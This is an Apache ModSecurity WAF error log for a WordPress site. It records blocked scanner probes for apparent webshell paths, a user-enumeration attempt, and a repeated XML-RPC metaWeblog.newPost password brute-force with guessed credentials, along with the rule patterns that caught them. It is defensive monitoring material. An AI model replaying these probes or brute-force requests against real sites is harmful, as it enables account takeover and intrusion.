[Mon Mar 02 05:45:02.690212 2026] [:error] [pid 31257:tid 31287] [client 20.215.209.82:40491] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/sid3.php"] [unique_id "aaSzXv-JFLfishX45N84AQAAARg"]
[Mon Mar 02 05:45:03.631665 2026] [:error] [pid 28908:tid 28918] [client 20.215.209.82:31561] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/sid3.php"] [unique_id "aaSzX4qJmC8ih_lQQnD7DQAAAMg"]
[Mon Mar 02 05:45:04.758339 2026] [:error] [pid 28795:tid 28874] [client 20.215.209.82:40458] [client 20.215.209.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/sid3.php"] [unique_id "aaSzYLROd53wZBkdI_ceLgAAAIs"]
[Mon Mar 02 07:38:24.250896 2026] [:error] [pid 31257:tid 31279] [client 129.226.93.214:37218] [client 129.226.93.214] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aaTN8P-JFLfishX45N-aowAAARA"]
[Mon Mar 02 07:46:39.698292 2026] [:error] [pid 28795:tid 28881] [client 101.53.234.201:27765] [client 101.53.234.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 101.53.234.201, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaTP37ROd53wZBkdI_do6gAAAJI"]
[Mon Mar 02 08:23:54.335269 2026] [:error] [pid 28908:tid 28930] [client 169.224.12.149:39744] [client 169.224.12.149] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 169.224.12.149, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaTYmoqJmC8ih_lQQnDGrgAAANQ"]
[Mon Mar 02 08:36:56.890978 2026] [:error] [pid 23872:tid 23890] [client 31.171.130.42:34311] [client 31.171.130.42] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/txets.php"] [unique_id "aaTbqEzkQFuA2qBk8UMhKgAAAY8"]
[Mon Mar 02 08:36:58.274187 2026] [:error] [pid 23872:tid 23875] [client 31.171.130.14:54385] [client 31.171.130.14] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/txets.php"] [unique_id "aaTbqkzkQFuA2qBk8UMhNwAAAYA"]
[Mon Mar 02 08:37:00.153641 2026] [:error] [pid 31257:tid 31279] [client 31.171.130.22:49443] [client 31.171.130.22] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/txets.php"] [unique_id "aaTbrP-JFLfishX45N_LmgAAARA"]
[Mon Mar 02 08:37:03.206696 2026] [:error] [pid 23872:tid 23878] [client 31.171.130.7:33395] [client 31.171.130.7] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/txets.php"] [unique_id "aaTbr0zkQFuA2qBk8UMhWgAAAYM"]
[Mon Mar 02 08:37:05.185055 2026] [:error] [pid 23872:tid 23894] [client 31.171.130.14:20139] [client 31.171.130.14] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/postnews.php"] [unique_id "aaTbsUzkQFuA2qBk8UMhawAAAZM"]
[Mon Mar 02 08:59:04.008506 2026] [:error] [pid 21575:tid 21598] [client 43.166.238.12:55520] [client 43.166.238.12] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aaTg2CrocdArcJqFfIl5TQAAAVM"]
[Mon Mar 02 11:29:51.280910 2026] [:error] [pid 21575:tid 21603] [client 45.168.89.184:41199] [client 45.168.89.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.168.89.184, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaUELyrocdArcJqFfInepgAAAVg"]
[Mon Mar 02 12:03:48.822969 2026] [:error] [pid 14466:tid 14492] [client 20.207.204.235:26071] [client 20.207.204.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/"] [unique_id "aaUMJP8w-ahEIiUSqM5QpgAAAdg"]
[Mon Mar 02 12:03:49.385507 2026] [:error] [pid 21575:tid 21602] [client 20.207.204.235:25313] [client 20.207.204.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/"] [unique_id "aaUMJSrocdArcJqFfIkNhgAAAVc"]
[Mon Mar 02 12:03:49.976561 2026] [:error] [pid 23872:tid 23883] [client 20.207.204.235:25291] [client 20.207.204.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/"] [unique_id "aaUMJUzkQFuA2qBk8UMHHAAAAYg"]
[Mon Mar 02 12:03:50.528364 2026] [:error] [pid 23872:tid 23888] [client 20.207.204.235:25330] [client 20.207.204.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/"] [unique_id "aaUMJkzkQFuA2qBk8UMHJQAAAY0"]
[Mon Mar 02 12:10:09.181943 2026] [:error] [pid 28908:tid 28931] [client 45.168.89.184:40748] [client 45.168.89.184] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aaUNoYqJmC8ih_lQQnBbtAAAANU"]
[Mon Mar 02 12:11:48.004893 2026] [:error] [pid 28793:tid 28820] [client 45.168.89.184:40444] [client 45.168.89.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.168.89.184, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaUOBA2_fxBANaHo1f5gzQAAAA0"]
[Mon Mar 02 12:12:58.848836 2026] [:error] [pid 31257:tid 31263] [client 45.168.89.184:40519] [client 45.168.89.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.168.89.184, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaUOSv-JFLfishX45N9powAAAQA"]
[Mon Mar 02 12:14:04.248294 2026] [:error] [pid 28908:tid 28931] [client 45.168.89.184:40408] [client 45.168.89.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.168.89.184, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaUOjIqJmC8ih_lQQnBjTgAAANU"]
[Mon Mar 02 12:15:15.947133 2026] [:error] [pid 23872:tid 23888] [client 45.168.89.184:41340] [client 45.168.89.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.168.89.184, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaUO00zkQFuA2qBk8UMO_AAAAY0"]
[Mon Mar 02 12:16:24.616813 2026] [:error] [pid 21575:tid 21596] [client 45.168.89.184:40854] [client 45.168.89.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.168.89.184, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaUPGCrocdArcJqFfIkfegAAAVE"]
[Mon Mar 02 12:16:24.621703 2026] [:error] [pid 21575:tid 21596] [client 45.168.89.184:40854] [client 45.168.89.184] ModSecurity: Access denied with code 403 (phase 2). Invalid URL Encoding: Non-hexadecimal digits used at XML. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "73"] [id "210380"] [rev "6"] [msg "COMODO WAF: URL Encoding Abuse Attack Attempt||gigfragments.org|F|4"] [data "XML=metaWeblog.newPost1adminadmin!1%wppass_u%title0x88ae68e2description0x88ae68e2mt_keywords0x88ae68e2mt_excerpt0x88ae68e21"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaUPGCrocdArcJqFfIkfegAAAVE"]
[Mon Mar 02 12:17:29.361203 2026] [:error] [pid 28908:tid 28916] [client 45.168.89.184:41074] [client 45.168.89.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.168.89.184, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaUPWYqJmC8ih_lQQnBp2wAAAMY"]
[Mon Mar 02 12:17:29.364779 2026] [:error] [pid 28908:tid 28916] [client 45.168.89.184:41074] [client 45.168.89.184] ModSecurity: Access denied with code 403 (phase 2). Invalid URL Encoding: Non-hexadecimal digits used at XML. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "73"] [id "210380"] [rev "6"] [msg "COMODO WAF: URL Encoding Abuse Attack Attempt||gigfragments.org|F|4"] [data "XML=metaWeblog.newPost1admingigfragments%wppass_d%title0xe60a3e71description0xe60a3e71mt_keywords0xe60a3e71mt_excerpt0xe60a3e711"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaUPWYqJmC8ih_lQQnBp2wAAAMY"]
[Mon Mar 02 12:18:32.108983 2026] [:error] [pid 31257:tid 31285] [client 45.168.89.184:40635] [client 45.168.89.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.168.89.184, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaUPmP-JFLfishX45N9sDwAAARY"]
[Mon Mar 02 12:19:41.982810 2026] [:error] [pid 23872:tid 23895] [client 45.168.89.184:40872] [client 45.168.89.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.168.89.184, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaUP3UzkQFuA2qBk8UMR8QAAAZQ"]
[Mon Mar 02 12:20:47.611257 2026] [:error] [pid 28908:tid 28926] [client 45.168.89.184:41133] [client 45.168.89.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.168.89.184, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaUQH4qJmC8ih_lQQnBt8wAAANA"]
[Mon Mar 02 12:23:20.031915 2026] [:error] [pid 28908:tid 28918] [client 45.168.89.184:41089] [client 45.168.89.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.168.89.184, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaUQuIqJmC8ih_lQQnByPgAAAMg"]
[Mon Mar 02 12:24:25.735994 2026] [:error] [pid 23872:tid 23878] [client 45.168.89.184:41291] [client 45.168.89.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.168.89.184, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaUQ-UzkQFuA2qBk8UMVbwAAAYM"]
[Mon Mar 02 12:25:32.086974 2026] [:error] [pid 31257:tid 31274] [client 45.168.89.184:41120] [client 45.168.89.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.168.89.184, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaURPP-JFLfishX45N9vsQAAAQs"]
[Mon Mar 02 12:26:41.937202 2026] [:error] [pid 31257:tid 31273] [client 45.168.89.184:41035] [client 45.168.89.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.168.89.184, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaURgf-JFLfishX45N9wGwAAAQo"]
[Mon Mar 02 12:27:48.470726 2026] [:error] [pid 31257:tid 31267] [client 45.168.89.184:41313] [client 45.168.89.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.168.89.184, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaURxP-JFLfishX45N9wdwAAAQQ"]
[Mon Mar 02 12:28:54.190289 2026] [:error] [pid 28908:tid 28919] [client 45.168.89.184:40530] [client 45.168.89.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.168.89.184, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaUSBoqJmC8ih_lQQnB6dQAAAMk"]
[Mon Mar 02 12:29:47.384663 2026] [:error] [pid 31257:tid 31277] [client 20.104.206.150:28613] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aaUSO_-JFLfishX45N9xiwAAAQ4"]
[Mon Mar 02 12:29:47.799293 2026] [:error] [pid 28908:tid 28910] [client 20.104.206.150:28620] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aaUSO4qJmC8ih_lQQnB7yQAAAMA"]
[Mon Mar 02 12:29:48.215712 2026] [:error] [pid 23872:tid 23877] [client 20.104.206.150:28649] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aaUSPEzkQFuA2qBk8UMZ7QAAAYI"]
[Mon Mar 02 12:29:48.627248 2026] [:error] [pid 23872:tid 23893] [client 20.104.206.150:28665] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aaUSPEzkQFuA2qBk8UMZ8gAAAZI"]
[Mon Mar 02 12:29:55.085626 2026] [:error] [pid 28793:tid 28823] [client 45.168.89.184:40572] [client 45.168.89.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.168.89.184, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaUSQw2_fxBANaHo1f5jZwAAABA"]
[Mon Mar 02 12:30:55.088802 2026] [:error] [pid 28908:tid 28918] [client 45.168.89.184:40557] [client 45.168.89.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.168.89.184, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaUSf4qJmC8ih_lQQnB9wQAAAMg"]
[Mon Mar 02 12:32:00.456079 2026] [:error] [pid 21575:tid 21590] [client 45.168.89.184:40528] [client 45.168.89.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.168.89.184, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaUSwCrocdArcJqFfIkxHgAAAUs"]
[Mon Mar 02 12:33:12.179653 2026] [:error] [pid 28908:tid 28916] [client 45.168.89.184:41038] [client 45.168.89.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.168.89.184, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaUTCIqJmC8ih_lQQnB_5wAAAMY"]
[Mon Mar 02 12:34:26.527184 2026] [:error] [pid 31257:tid 31276] [client 45.168.89.184:40998] [client 45.168.89.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.168.89.184, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaUTUv-JFLfishX45N9zhgAAAQ0"]
[Mon Mar 02 12:35:30.306173 2026] [:error] [pid 28908:tid 28929] [client 45.168.89.184:40484] [client 45.168.89.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.168.89.184, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaUTkoqJmC8ih_lQQnCByQAAANM"]
[Mon Mar 02 12:36:33.278194 2026] [:error] [pid 23872:tid 23875] [client 45.168.89.184:41052] [client 45.168.89.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.168.89.184, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaUT0UzkQFuA2qBk8UMd_QAAAYA"]
[Mon Mar 02 12:37:33.297607 2026] [:error] [pid 14466:tid 14478] [client 45.168.89.184:41314] [client 45.168.89.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.168.89.184, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaUUDf8w-ahEIiUSqM5dIwAAAco"]
[Mon Mar 02 12:38:33.323500 2026] [:error] [pid 21575:tid 21595] [client 45.168.89.184:40902] [client 45.168.89.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.168.89.184, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaUUSSrocdArcJqFfIk12wAAAVA"]
[Mon Mar 02 12:38:33.326383 2026] [:error] [pid 21575:tid 21595] [client 45.168.89.184:40902] [client 45.168.89.184] ModSecurity: Access denied with code 403 (phase 2). Invalid URL Encoding: Non-hexadecimal digits used at XML. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "73"] [id "210380"] [rev "6"] [msg "COMODO WAF: URL Encoding Abuse Attack Attempt||gigfragments.org|F|4"] [data "XML=metaWeblog.newPost1gigfragments.orggigfragments.org!1%wppass_u%title0xdbe8751edescription0xdbe8751emt_keywords0xdbe8751emt_excerpt0xdbe8751e1"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaUUSSrocdArcJqFfIk12wAAAVA"]
[Mon Mar 02 12:39:33.334739 2026] [:error] [pid 23872:tid 23887] [client 45.168.89.184:40872] [client 45.168.89.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.168.89.184, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaUUhUzkQFuA2qBk8UMf8AAAAYw"]
[Mon Mar 02 12:39:33.337888 2026] [:error] [pid 23872:tid 23887] [client 45.168.89.184:40872] [client 45.168.89.184] ModSecurity: Access denied with code 403 (phase 2). Invalid URL Encoding: Non-hexadecimal digits used at XML. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "73"] [id "210380"] [rev "6"] [msg "COMODO WAF: URL Encoding Abuse Attack Attempt||gigfragments.org|F|4"] [data "XML=metaWeblog.newPost1gigfragments.orggigfragments%wppass_d%title0x7fa32110description0x7fa32110mt_keywords0x7fa32110mt_excerpt0x7fa321101"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaUUhUzkQFuA2qBk8UMf8AAAAYw"]
[Mon Mar 02 12:40:33.326987 2026] [:error] [pid 31257:tid 31274] [client 45.168.89.184:41257] [client 45.168.89.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.168.89.184, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaUUwf-JFLfishX45N91wQAAAQs"]
[Mon Mar 02 12:41:36.843029 2026] [:error] [pid 21575:tid 21597] [client 45.168.89.184:40807] [client 45.168.89.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.168.89.184, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaUVACrocdArcJqFfIk5SQAAAVI"]
[Mon Mar 02 12:42:36.854437 2026] [:error] [pid 28908:tid 28931] [client 45.168.89.184:40536] [client 45.168.89.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.168.89.184, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaUVPIqJmC8ih_lQQnCMNwAAANU"]
